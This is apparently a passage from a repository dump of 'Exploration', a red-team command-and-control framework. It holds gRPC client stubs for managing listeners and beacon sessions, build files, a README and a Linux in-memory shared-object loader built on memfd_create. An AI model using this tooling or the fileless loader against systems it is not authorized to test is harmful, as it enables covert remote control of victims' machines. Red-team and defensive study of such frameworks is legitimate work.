response_serializer=TeamServerApi__pb2.Response.SerializeToString, 160 | ), 161 | 'GetResponseFromSession': grpc.unary_stream_rpc_method_handler( 162 | servicer.GetResponseFromSession, 163 | request_deserializer=TeamServerApi__pb2.Session.FromString, 164 | response_serializer=TeamServerApi__pb2.CommandResponse.SerializeToString, 165 | ), 166 | 'SendTermCmd': grpc.unary_unary_rpc_method_handler( 167 | servicer.SendTermCmd, 168 | request_deserializer=TeamServerApi__pb2.TermCommand.FromString, 169 | response_serializer=TeamServerApi__pb2.TermCommand.SerializeToString, 170 | ), 171 | } 172 | generic_handler = grpc.method_handlers_generic_handler( 173 | 'teamserverapi.TeamServerApi', rpc_method_handlers) 174 | server.add_generic_rpc_handlers((generic_handler,)) 175 | server.add_registered_method_handlers('teamserverapi.TeamServerApi', rpc_method_handlers) 176 | 177 | 178 | # This class is part of an EXPERIMENTAL API. 179 | class TeamServerApi(object): 180 | """Interface exported by the server. 181 | """ 182 | 183 | @staticmethod 184 | def GetListeners(request, 185 | target, 186 | options=(), 187 | channel_credentials=None, 188 | call_credentials=None, 189 | insecure=False, 190 | compression=None, 191 | wait_for_ready=None, 192 | timeout=None, 193 | metadata=None): 194 | return grpc.experimental.unary_stream( 195 | request, 196 | target, 197 | '/teamserverapi.TeamServerApi/GetListeners', 198 | TeamServerApi__pb2.Empty.SerializeToString, 199 | TeamServerApi__pb2.Listener.FromString, 200 | options, 201 | channel_credentials, 202 | insecure, 203 | call_credentials, 204 | compression, 205 | wait_for_ready, 206 | timeout, 207 | metadata, 208 | _registered_method=True) 209 | 210 | @staticmethod 211 | def AddListener(request, 212 | target, 213 | options=(), 214 | channel_credentials=None, 215 | call_credentials=None, 216 | insecure=False, 217 | compression=None, 218 | wait_for_ready=None, 219 | timeout=None, 220 | metadata=None): 221 | return grpc.experimental.unary_unary( 222 | request, 223 | target, 224 | '/teamserverapi.TeamServerApi/AddListener', 225 | TeamServerApi__pb2.Listener.SerializeToString, 226 | TeamServerApi__pb2.Response.FromString, 227 | options, 228 | channel_credentials, 229 | insecure, 230 | call_credentials, 231 | compression, 232 | wait_for_ready, 233 | timeout, 234 | metadata, 235 | _registered_method=True) 236 | 237 | @staticmethod 238 | def StopListener(request, 239 | target, 240 | options=(), 241 | channel_credentials=None, 242 | call_credentials=None, 243 | insecure=False, 244 | compression=None, 245 | wait_for_ready=None, 246 | timeout=None, 247 | metadata=None): 248 | return grpc.experimental.unary_unary( 249 | request, 250 | target, 251 | '/teamserverapi.TeamServerApi/StopListener', 252 | TeamServerApi__pb2.Listener.SerializeToString, 253 | TeamServerApi__pb2.Response.FromString, 254 | options, 255 | channel_credentials, 256 | insecure, 257 | call_credentials, 258 | compression, 259 | wait_for_ready, 260 | timeout, 261 | metadata, 262 | _registered_method=True) 263 | 264 | @staticmethod 265 | def GetSessions(request, 266 | target, 267 | options=(), 268 | channel_credentials=None, 269 | call_credentials=None, 270 | insecure=False, 271 | compression=None, 272 | wait_for_ready=None, 273 | timeout=None, 274 | metadata=None): 275 | return grpc.experimental.unary_stream( 276 | request, 277 | target, 278 | '/teamserverapi.TeamServerApi/GetSessions', 279 | TeamServerApi__pb2.Empty.SerializeToString, 280 | TeamServerApi__pb2.Session.FromString, 281 | options, 282 | channel_credentials, 283 | insecure, 284 | call_credentials, 285 | compression, 286 | wait_for_ready, 287 | timeout, 288 | metadata, 289 | _registered_method=True) 290 | 291 | @staticmethod 292 | def StopSession(request, 293 | target, 294 | options=(), 295 | channel_credentials=None, 296 | call_credentials=None, 297 | insecure=False, 298 | compression=None, 299 | wait_for_ready=None, 300 | timeout=None, 301 | metadata=None): 302 | return grpc.experimental.unary_unary( 303 | request, 304 | target, 305 | '/teamserverapi.TeamServerApi/StopSession', 306 | TeamServerApi__pb2.Session.SerializeToString, 307 | TeamServerApi__pb2.Response.FromString, 308 | options, 309 | channel_credentials, 310 | insecure, 311 | call_credentials, 312 | compression, 313 | wait_for_ready, 314 | timeout, 315 | metadata, 316 | _registered_method=True) 317 | 318 | @staticmethod 319 | def GetHelp(request, 320 | target, 321 | options=(), 322 | channel_credentials=None, 323 | call_credentials=None, 324 | insecure=False, 325 | compression=None, 326 | wait_for_ready=None, 327 | timeout=None, 328 | metadata=None): 329 | return grpc.experimental.unary_unary( 330 | request, 331 | target, 332 | '/teamserverapi.TeamServerApi/GetHelp', 333 | TeamServerApi__pb2.Command.SerializeToString, 334 | TeamServerApi__pb2.CommandResponse.FromString, 335 | options, 336 | channel_credentials, 337 | insecure, 338 | call_credentials, 339 | compression, 340 | wait_for_ready, 341 | timeout, 342 | metadata, 343 | _registered_method=True) 344 | 345 | @staticmethod 346 | def SendCmdToSession(request, 347 | target, 348 | options=(), 349 | channel_credentials=None, 350 | call_credentials=None, 351 | insecure=False, 352 | compression=None, 353 | wait_for_ready=None, 354 | timeout=None, 355 | metadata=None): 356 | return grpc.experimental.unary_unary( 357 | request, 358 | target, 359 | '/teamserverapi.TeamServerApi/SendCmdToSession', 360 | TeamServerApi__pb2.Command.SerializeToString, 361 | TeamServerApi__pb2.Response.FromString, 362 | options, 363 | channel_credentials, 364 | insecure, 365 | call_credentials, 366 | compression, 367 | wait_for_ready, 368 | timeout, 369 | metadata, 370 | _registered_method=True) 371 | 372 | @staticmethod 373 | def GetResponseFromSession(request, 374 | target, 375 | options=(), 376 | channel_credentials=None, 377 | call_credentials=None, 378 | insecure=False, 379 | compression=None, 380 | wait_for_ready=None, 381 | timeout=None, 382 | metadata=None): 383 | return grpc.experimental.unary_stream( 384 | request, 385 | target, 386 | '/teamserverapi.TeamServerApi/GetResponseFromSession', 387 | TeamServerApi__pb2.Session.SerializeToString, 388 | TeamServerApi__pb2.CommandResponse.FromString, 389 | options, 390 | channel_credentials, 391 | insecure, 392 | call_credentials, 393 | compression, 394 | wait_for_ready, 395 | timeout, 396 | metadata, 397 | _registered_method=True) 398 | 399 | @staticmethod 400 | def SendTermCmd(request, 401 | target, 402 | options=(), 403 | channel_credentials=None, 404 | call_credentials=None, 405 | insecure=False, 406 | compression=None, 407 | wait_for_ready=None, 408 | timeout=None, 409 | metadata=None): 410 | return grpc.experimental.unary_unary( 411 | request, 412 | target, 413 | '/teamserverapi.TeamServerApi/SendTermCmd', 414 | TeamServerApi__pb2.TermCommand.SerializeToString, 415 | TeamServerApi__pb2.TermCommand.FromString, 416 | options, 417 | channel_credentials, 418 | insecure, 419 | call_credentials, 420 | compression, 421 | wait_for_ready, 422 | timeout, 423 | metadata, 424 | _registered_method=True) 425 | -------------------------------------------------------------------------------- /C2Client/C2Client/logs/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !.gitignore -------------------------------------------------------------------------------- /C2Client/pyproject.toml: -------------------------------------------------------------------------------- 1 | [build-system] 2 | requires = ["setuptools", "wheel"] 3 | build-backend = "setuptools.build_meta" 4 | 5 | [project] 6 | name = "C2Client" 7 | version = "0.1.0" 8 | dependencies = [ 9 | "setuptools", 10 | "pycryptodome", 11 | "grpcio", 12 | "PyQt5", 13 | "pyqtdarktheme", 14 | "protobuf", 15 | "gitpython", 16 | "requests", 17 | "pwn", 18 | "pefile", 19 | "openai" 20 | ] 21 | 22 | [tool.setuptools.packages.find] 23 | where = ["."] 24 | include = ["C2Client*", "C2Client.libGrpcMessages*", "C2Client.TerminalModules.*"] 25 | 26 | [tool.setuptools.package-data] 27 | C2Client = [ 28 | "images/*.svg", 29 | "logs/*", 30 | "Scripts/*.py", 31 | "server.crt", 32 | "libGrpcMessages/build/py/*.py", 33 | "DropperModules.conf" 34 | ] 35 | 36 | [project.scripts] 37 | c2client = "C2Client.GUI:main" # Entry point for CLI tool 38 | -------------------------------------------------------------------------------- /C2Client/requirements.txt: -------------------------------------------------------------------------------- 1 | pycryptodome 2 | grpcio==1.66.1 3 | PyQt5 4 | pyqtdarktheme 5 | protobuf==5.27.0 6 | gitpython 7 | requests 8 | pwn 9 | pefile 10 | openai -------------------------------------------------------------------------------- /CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.24.0 FATAL_ERROR) 2 | 3 | project(C2TeamServer VERSION 0.0.0 LANGUAGES CXX C) 4 | set(CMAKE_BUILD_TYPE Release) 5 | set(CMAKE_CXX_STANDARD 17) 6 | 7 | 8 | ## 9 | ## Conan Dependencies 10 | ## 11 | 12 | set(CMAKE_PREFIX_PATH ${CMAKE_BINARY_DIR}) 13 | 14 | find_package(gRPC REQUIRED) 15 | find_package(OpenSSL REQUIRED) 16 | find_package(protobuf REQUIRED) 17 | find_package(ZLIB REQUIRED) 18 | find_package(spdlog REQUIRED) 19 | find_package(httplib REQUIRED) 20 | 21 | include_directories(${CMAKE_INCLUDE_PATH}) 22 | 23 | 24 | ## 25 | ## Config Tests et Logs 26 | ## 27 | 28 | option(WITH_TESTS "Compile for tests" ON) 29 | 30 | option(BUILD_TEAMSERVER "Enable Teamserver config" ON) 31 | add_definitions(-DBUILD_TEAMSERVER) 32 | 33 | if(WITH_TESTS) 34 | add_definitions(-DBUILD_TESTS) 35 | set(SPDLOG_ACTIVE_LEVEL SPDLOG_LEVEL_DEBUG) 36 | endif() 37 | 38 | 39 | ## 40 | ## Build 41 | ## 42 | 43 | include_directories(thirdParty) 44 | 45 | add_subdirectory(libs) 46 | 47 | add_subdirectory(thirdParty) 48 | include_directories(thirdParty/base64) 49 | include_directories(thirdParty/donut/include) 50 | include_directories(thirdParty/coffLoader/coffLoader) 51 | include_directories(thirdParty/coffLoader/coffPacker) 52 | 53 | if(WITH_TESTS) 54 | enable_testing() 55 | endif() 56 | 57 | add_subdirectory(teamServer) 58 | add_subdirectory(core/modules) 59 | 60 | add_subdirectory(certs) 61 | 62 | if(WITH_TESTS) 63 | add_subdirectory(core/listener/tests) 64 | endif() 65 | 66 | 67 | 68 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 2 | 3 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 4 | 5 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Exploration C2 Framework 2 | 3 |

4 | Exploration C2 Logo 5 |

6 | 7 | ## Overview 8 | 9 | **Exploration** is a modular and extensible Command and Control (C2) framework designed for red team operations. 10 | This repository includes both the **TeamServer** (backend) and the **Client** (frontend). 11 | 12 | The latest release package contains: 13 | - The C++ **TeamServer** 14 | - The Python **Client** 15 | - Windows modules and beacons from [C2Implant](https://github.com/maxDcb/C2Implant) 16 | - Linux modules and beacons from [C2LinuxImplant](https://github.com/maxDcb/C2LinuxImplant) 17 | 18 | To download the latest release, use the following command: 19 | 20 | ```bash 21 | wget -q $(wget -q -O - 'https://api.github.com/repos/maxDcb/C2TeamServer/releases/latest' | jq -r '.assets[] | select(.name=="Release.tar.gz").browser_download_url') -O ./C2TeamServer.tar.gz \ 22 | && mkdir C2TeamServer && tar xf C2TeamServer.tar.gz -C C2TeamServer --strip-components 1 23 | ``` 24 | 25 | ## Look and Feel 26 | 27 |

28 | 29 |

30 | 31 | 32 |

33 | 34 |

35 | 36 | ## Architecture 37 | 38 | The **TeamServer** is a standalone C++ application that manages listeners and active sessions. 39 | The **Client**, written in Python, interacts with the TeamServer via gRPC. 40 | 41 | Beacons deployed on target machines initiate callbacks to the TeamServer, opening interactive sessions. These sessions can be used to send commands, receive output, and control implants. 42 | Supported communication channels for listeners and beacons include: `TCP`, `SMB`, `HTTP`, and `HTTPS`. 43 | 44 | ## Architecture Diagrams 45 | 46 |

47 | 48 |

49 | 50 | ## Quick Start 51 | 52 | ### Running the TeamServer 53 | 54 | A precompiled version of the TeamServer is available in the release archive. It includes default TLS certificates for gRPC and HTTP communication. 55 | 56 | To launch the TeamServer: 57 | 58 | ```bash 59 | cd Release 60 | ./TeamServer 61 | ``` 62 | 63 |

64 | 65 |

66 | 67 | ### Installing and Running the Client 68 | 69 | Install the Python client using `pipx`: 70 | 71 | ```bash 72 | pipx install git+https://github.com/maxDcb/C2TeamServer.git#subdirectory=C2Client 73 | ``` 74 | 75 | Set the path to the TeamServer certificate: 76 | 77 | ```bash 78 | export C2_CERT_PATH=/path/to/teamserver/cert/server.crt 79 | ``` 80 | 81 | Connect to the TeamServer: 82 | 83 | ```bash 84 | c2client --ip 127.0.0.1 --port 50051 --dev 85 | ``` 86 | 87 | > ⚠️ `--dev` disables hostname verification in the gRPC TLS certificate (for development/testing purposes). 88 | 89 | ## Documentation 90 | 91 | For detailed usage, configuration, and module documentation, refer to the [Wiki](https://github.com/maxDcb/C2TeamServer/wiki). 92 | -------------------------------------------------------------------------------- /Release/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | 3 | !.gitignore 4 | 5 | !www 6 | !Tools 7 | !TeamServer 8 | !Modules 9 | !Scripts 10 | !Client 11 | !Beacons -------------------------------------------------------------------------------- /Release/Beacons/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !.gitignore 3 | 4 | -------------------------------------------------------------------------------- /Release/Modules/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !.gitignore 3 | -------------------------------------------------------------------------------- /Release/Scripts/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !.gitignore -------------------------------------------------------------------------------- /Release/TeamServer/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !.gitignore -------------------------------------------------------------------------------- /Release/TeamServer/logs/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !.gitignore -------------------------------------------------------------------------------- /Release/Tools/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !.gitignore -------------------------------------------------------------------------------- /Release/www/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !.gitignore -------------------------------------------------------------------------------- /certs/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | ## ssl certificat for https listener 2 | if(WIN32) 3 | else() 4 | file(COPY ${CMAKE_SOURCE_DIR}/certs/sslBeaconHttps DESTINATION ${CMAKE_BINARY_DIR}/certs) 5 | 6 | execute_process(COMMAND bash -c "cd ${CMAKE_BINARY_DIR}/certs/sslBeaconHttps && ./genSslCert.sh localhost") 7 | 8 | file(COPY ${CMAKE_BINARY_DIR}/certs/sslBeaconHttps/localhost.key DESTINATION ${CMAKE_SOURCE_DIR}/Release/TeamServer/) 9 | #file(RENAME ${CMAKE_SOURCE_DIR}/Release/TeamServer/localhost.key ${CMAKE_SOURCE_DIR}/Release/TeamServer/localhost.key) 10 | 11 | file(COPY ${CMAKE_BINARY_DIR}/certs/sslBeaconHttps/localhost.crt DESTINATION ${CMAKE_SOURCE_DIR}/Release/TeamServer/) 12 | #file(RENAME ${CMAKE_SOURCE_DIR}/Release/TeamServer/localhost.crt ${CMAKE_SOURCE_DIR}/Release/TeamServer/localhost.crt) 13 | 14 | endif() 15 | 16 | ## ssl certificat for TeamServer 17 | if(WIN32) 18 | else() 19 | file(COPY ${CMAKE_SOURCE_DIR}/certs/sslTeamServ DESTINATION ${CMAKE_BINARY_DIR}/certs) 20 | 21 | execute_process(COMMAND bash -c "cd ${CMAKE_BINARY_DIR}/certs/sslTeamServ && ./genSslCert.sh") 22 | 23 | # server.key 24 | file(COPY ${CMAKE_BINARY_DIR}/certs/sslTeamServ/server-key.pem DESTINATION ${CMAKE_SOURCE_DIR}/Release/TeamServer/) 25 | file(RENAME ${CMAKE_SOURCE_DIR}/Release/TeamServer/server-key.pem ${CMAKE_SOURCE_DIR}/Release/TeamServer/server.key) 26 | 27 | # server.crt 28 | file(COPY ${CMAKE_BINARY_DIR}/certs/sslTeamServ/server.pem DESTINATION ${CMAKE_SOURCE_DIR}/Release/TeamServer/) 29 | file(RENAME ${CMAKE_SOURCE_DIR}/Release/TeamServer/server.pem ${CMAKE_SOURCE_DIR}/Release/TeamServer/server.crt) 30 | 31 | # rootCA.crt 32 | file(COPY ${CMAKE_BINARY_DIR}/certs/sslTeamServ/ca.pem DESTINATION ${CMAKE_SOURCE_DIR}/Release/TeamServer/) 33 | file(RENAME ${CMAKE_SOURCE_DIR}/Release/TeamServer/ca.pem ${CMAKE_SOURCE_DIR}/Release/TeamServer/rootCA.crt) 34 | endif() -------------------------------------------------------------------------------- /certs/sslBeaconHttps/genSslCert.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | 3 | if [ "$#" -ne 1 ] 4 | then 5 | echo "Error: No domain name argument provided" 6 | echo "Usage: Provide a domain name as an argument" 7 | exit 1 8 | fi 9 | 10 | DOMAIN=$1 11 | 12 | # Create root CA & Private key 13 | 14 | openssl req -x509 \ 15 | -sha256 -days 356 \ 16 | -nodes \ 17 | -newkey rsa:2048 \ 18 | -subj "/CN=${DOMAIN}/C=US/L=San Fransisco" \ 19 | -keyout rootCA.key -out rootCA.crt 20 | 21 | # Generate Private key 22 | 23 | openssl genrsa -out ${DOMAIN}.key 2048 24 | 25 | # Create csf conf 26 | 27 | cat > csr.conf < cert.conf < 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | -------------------------------------------------------------------------------- /images/architecture.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/maxDcb/C2TeamServer/3a4c4c15c901ee97d74ef09d94bd2256c2550c1f/images/architecture.png -------------------------------------------------------------------------------- /images/coffDir.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/maxDcb/C2TeamServer/3a4c4c15c901ee97d74ef09d94bd2256c2550c1f/images/coffDir.png -------------------------------------------------------------------------------- /images/loadModule.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/maxDcb/C2TeamServer/3a4c4c15c901ee97d74ef09d94bd2256c2550c1f/images/loadModule.png -------------------------------------------------------------------------------- /libs/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # Collect .proto files 2 | file(COPY ${CMAKE_SOURCE_DIR}/libs/libGrpcMessages/ DESTINATION ${CMAKE_BINARY_DIR}/libs/libGrpcMessages/) 3 | 4 | file(GLOB PROTO_FILES "${CMAKE_SOURCE_DIR}/libs/libGrpcMessages/src/*.proto") 5 | 6 | # Generate C++ gRPC files 7 | execute_process( 8 | COMMAND ${Protobuf_PROTOC_EXECUTABLE} 9 | -I=${CMAKE_SOURCE_DIR}/libs/libGrpcMessages/src/ 10 | --grpc_out=${CMAKE_BINARY_DIR}/libs/libGrpcMessages/build/cpp/src 11 | --cpp_out=${CMAKE_BINARY_DIR}/libs/libGrpcMessages/build/cpp/src 12 | --plugin=protoc-gen-grpc=${GRPC_CPP_PLUGIN_PROGRAM} 13 | ${PROTO_FILES} 14 | RESULT_VARIABLE ret1 15 | ) 16 | 17 | if(NOT ret1 EQUAL 0) 18 | message(FATAL_ERROR "C++ gRPC generation failed with status: ${ret1}") 19 | endif() 20 | 21 | # Generate Python gRPC files 22 | execute_process( 23 | COMMAND ${Protobuf_PROTOC_EXECUTABLE} 24 | -I=${CMAKE_SOURCE_DIR}/libs/libGrpcMessages/src/ 25 | --grpc_out=${CMAKE_SOURCE_DIR}/C2Client/C2Client/libGrpcMessages/build/py 26 | --python_out=${CMAKE_SOURCE_DIR}/C2Client/C2Client/libGrpcMessages/build/py 27 | --plugin=protoc-gen-grpc=${GRPC_PYTHON_PLUGIN_PROGRAM} 28 | ${PROTO_FILES} 29 | RESULT_VARIABLE ret2 30 | ) 31 | 32 | if(NOT ret2 EQUAL 0) 33 | message(FATAL_ERROR "Python gRPC generation failed with status: ${ret2}") 34 | endif() 35 | 36 | add_subdirectory(libGrpcMessages) 37 | 38 | add_subdirectory(libSocketHandler) 39 | 40 | add_subdirectory(libDns) 41 | 42 | add_subdirectory(libMemoryModuleDumy) 43 | add_subdirectory(libPipeHandlerDumy) 44 | add_subdirectory(libSocks5) -------------------------------------------------------------------------------- /libs/libGrpcMessages/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.24) 2 | 3 | add_subdirectory(build/cpp/) -------------------------------------------------------------------------------- /libs/libGrpcMessages/build/cpp/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.24) 2 | project(GrpcMessages) 3 | 4 | set(DEFAULT_BUILD_TYPE "Release") 5 | set(CMAKE_CXX_STANDARD 17) 6 | set(CMAKE_CXX_STANDARD_REQUIRED ON) 7 | 8 | file(GLOB_RECURSE SOURCE_FILES ${CMAKE_CURRENT_BINARY_DIR}/src/*.pb.cc) 9 | 10 | include_directories( 11 | ./src/ 12 | ${protobuf_INCLUDE_DIRS} 13 | ${gRPC_INCLUDE_DIRS} 14 | ${absl_INCLUDE_DIRS} 15 | ) 16 | 17 | add_library(${PROJECT_NAME} STATIC ${SOURCE_FILES}) 18 | target_include_directories(${PROJECT_NAME} PUBLIC ${CMAKE_CURRENT_BINARY_DIR}/src) 19 | -------------------------------------------------------------------------------- /libs/libGrpcMessages/build/cpp/src/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !.gitignore 3 | !MakefileLinux 4 | -------------------------------------------------------------------------------- /libs/libGrpcMessages/src/TeamServerApi.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package teamserverapi; 4 | 5 | 6 | // Interface exported by the server. 7 | service TeamServerApi 8 | { 9 | rpc GetListeners(Empty) returns (stream Listener) {} 10 | rpc AddListener(Listener) returns (Response) {} 11 | rpc StopListener(Listener) returns (Response) {} 12 | 13 | rpc GetSessions(Empty) returns (stream Session) {} 14 | rpc StopSession(Session) returns (Response) {} 15 | 16 | rpc GetHelp(Command) returns (CommandResponse) {} 17 | rpc SendCmdToSession(Command) returns (Response) {} 18 | rpc GetResponseFromSession(Session) returns (stream CommandResponse) {} 19 | 20 | rpc SendTermCmd(TermCommand) returns (TermCommand) {} 21 | } 22 | 23 | 24 | message Empty 25 | { 26 | } 27 | 28 | 29 | enum Status 30 | { 31 | OK = 0; 32 | KO = 1; 33 | } 34 | 35 | 36 | message Response 37 | { 38 | Status status = 1; 39 | bytes message = 2; 40 | } 41 | 42 | 43 | message Listener 44 | { 45 | string listenerHash = 1; 46 | string type = 2; 47 | int32 port = 3; 48 | string ip = 4; 49 | string project = 6; 50 | string token = 7; 51 | string domain = 8; 52 | int32 numberOfSession = 5; 53 | string beaconHash = 9; 54 | } 55 | 56 | 57 | message Session 58 | { 59 | string beaconHash = 1; 60 | string listenerHash = 2; 61 | string hostname = 3; 62 | string username = 4; 63 | string arch = 5; 64 | string privilege = 6; 65 | string os = 7; 66 | string lastProofOfLife = 8; 67 | bool killed = 9; 68 | string internalIps = 10; 69 | string processId = 11; 70 | string additionalInformation = 12; 71 | } 72 | 73 | 74 | message Command 75 | { 76 | string beaconHash = 1; 77 | string listenerHash = 2; 78 | string cmd = 3; 79 | } 80 | 81 | 82 | message CommandResponse 83 | { 84 | string beaconHash = 1; 85 | string instruction = 2; 86 | string cmd = 3; 87 | bytes response = 4; 88 | } 89 | 90 | 91 | message TermCommand 92 | { 93 | string cmd = 1; 94 | string result = 2; 95 | bytes data = 3; 96 | } 97 | -------------------------------------------------------------------------------- /libs/libMemoryModuleDumy/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.24) 2 | project(MemoryModule VERSION 1.0.0 LANGUAGES CXX) 3 | 4 | set(DEFAULT_BUILD_TYPE "Release") 5 | set(CMAKE_CXX_STANDARD 14) 6 | set(CMAKE_CXX_STANDARD_REQUIRED ON) 7 | 8 | set(SOURCE_FILES 9 | src/MemoryModule.cpp 10 | ) 11 | 12 | include_directories(../src) 13 | 14 | add_library(${PROJECT_NAME} STATIC ${SOURCE_FILES}) 15 | target_include_directories(${PROJECT_NAME} PUBLIC src) 16 | set_property(TARGET ${PROJECT_NAME} PROPERTY POSITION_INDEPENDENT_CODE ON) 17 | target_link_libraries(${PROJECT_NAME} dl rt) 18 | 19 | add_subdirectory(tests) 20 | -------------------------------------------------------------------------------- /libs/libMemoryModuleDumy/README.md: -------------------------------------------------------------------------------- 1 | # PipeHandler 2 | 3 | ## Requirement 4 | 5 | Client can connect and disconnect at any time. 6 | 7 | Server can connect and disconnect at any time. 8 | 9 | Multiple client should be able to connect to the same server. 10 | 11 | Client and Server are monothread. -------------------------------------------------------------------------------- /libs/libMemoryModuleDumy/src/MemoryModule.cpp: -------------------------------------------------------------------------------- 1 | #include "MemoryModule.h" 2 | 3 | #include 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | 12 | void generateRandomShmName(char *name, size_t length) 13 | { 14 | // Define the character set to choose from 15 | const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; 16 | size_t charsetSize = sizeof(charset) - 1; 17 | 18 | // Seed the random number generator (if not already done) 19 | srand(time(NULL)); 20 | 21 | // Generate random characters 22 | for (size_t i = 0; i < length; i++) { 23 | int randomIndex = rand() % charsetSize; 24 | name[i] = charset[randomIndex]; 25 | } 26 | 27 | // Null-terminate the string 28 | name[length] = '\0'; 29 | } 30 | 31 | 32 | int kernel_version() 33 | { 34 | struct utsname buffer; 35 | uname(&buffer); 36 | 37 | // printf("system name = %s\n", buffer.sysname); 38 | // printf("node name = %s\n", buffer.nodename); 39 | // printf("release = %s\n", buffer.release); 40 | // printf("version = %s\n", buffer.version); 41 | // printf("machine = %s\n", buffer.machine); 42 | 43 | long ver[16]; 44 | char* p = buffer.release; 45 | int i=0; 46 | 47 | while (*p) { 48 | if (isdigit(*p)) { 49 | ver[i] = strtol(p, &p, 10); 50 | i++; 51 | } else { 52 | p++; 53 | } 54 | } 55 | 56 | // printf("Kernel %ld Major %ld Minor %ld Patch %ld\n", ver[0], ver[1], ver[2], ver[3]); 57 | 58 | if (ver[0] < 3) 59 | return 0; 60 | else if (ver[0] > 3) 61 | return 1; 62 | if (ver[1] < 17) 63 | return 0; 64 | else 65 | return 1; 66 | } 67 | 68 | 69 | HMEMORYMODULE MemoryLoadLibrary(const void *moduleData, size_t size) 70 | { 71 | char shmName[6]; 72 | generateRandomShmName(shmName, 5); 73 | 74 | // 75 | // create the shms 76 | // 77 | int shm_fd; 78 | 79 | // std::cout << "kernel_version() " << kernel_version() << std::endl; 80 | 81 | //If we have a kernel < 3.17 82 | if (kernel_version() == 0) 83 | { 84 | shm_fd = shm_open(shmName, O_RDWR | O_CREAT, S_IRWXU); 85 | if (shm_fd < 0) 86 | { 87 | // fprintf(stderr, "[-] Could not open file descriptor\n"); 88 | return nullptr; 89 | } 90 | } 91 | // If we have a kernel >= 3.17 92 | else 93 | { 94 | shm_fd = memfd_create(shmName, 1); 95 | if (shm_fd < 0) 96 | { 97 | // fprintf(stderr, "[-] Could not open file descriptor\n"); 98 | return nullptr; 99 | } 100 | } 101 | 102 | // memcpy in shm 103 | write(shm_fd, moduleData, size); 104 | 105 | void *handle=NULL; 106 | 107 | // printf("[+] Trying to load Shared Object!\n"); 108 | if(kernel_version() == 0) 109 | { 110 | std::string path = "/dev/shm/"; 111 | path+=shmName; 112 | 113 | handle = dlopen(path.c_str(), RTLD_LAZY); 114 | 115 | close(shm_fd); 116 | shm_unlink(path.c_str()); 117 | } 118 | else 119 | { 120 | // When we pass the file descriptor, as the number is alwayse the same dlopen give use the same handle everytime 121 | // We create a syslink with a random name to bypass this restriction 122 | std::string path = "/proc/"; 123 | path+=std::to_string(getpid()); 124 | path+="/fd/"; 125 | path+=std::to_string(shm_fd); 126 | 127 | std::string symlinkPath = "/tmp/"; 128 | symlinkPath+=shmName; 129 | 130 | symlink(path.c_str(), symlinkPath.c_str()); 131 | 132 | handle = dlopen(symlinkPath.c_str(), RTLD_LAZY); 133 | 134 | unlink(symlinkPath.c_str()); 135 | close(shm_fd); 136 | } 137 | 138 | return handle; 139 | } 140 | 141 | 142 | void MemoryFreeLibrary(HMEMORYMODULE mod) 143 | { 144 | dlclose(mod); 145 | } 146 | 147 | 148 | void* MemoryGetProcAddress(HMEMORYMODULE mod, const char* procName) 149 | { 150 | return dlsym(mod, procName); 151 | } -------------------------------------------------------------------------------- /libs/libMemoryModuleDumy/src/MemoryModule.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | 7 | typedef void *HMEMORYMODULE; 8 | 9 | HMEMORYMODULE MemoryLoadLibrary(const void *moduleData, size_t size); 10 | 11 | void MemoryFreeLibrary(HMEMORYMODULE mod); 12 | 13 | void* MemoryGetProcAddress(HMEMORYMODULE mod, const char* procName); -------------------------------------------------------------------------------- /libs/libMemoryModuleDumy/tests/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | 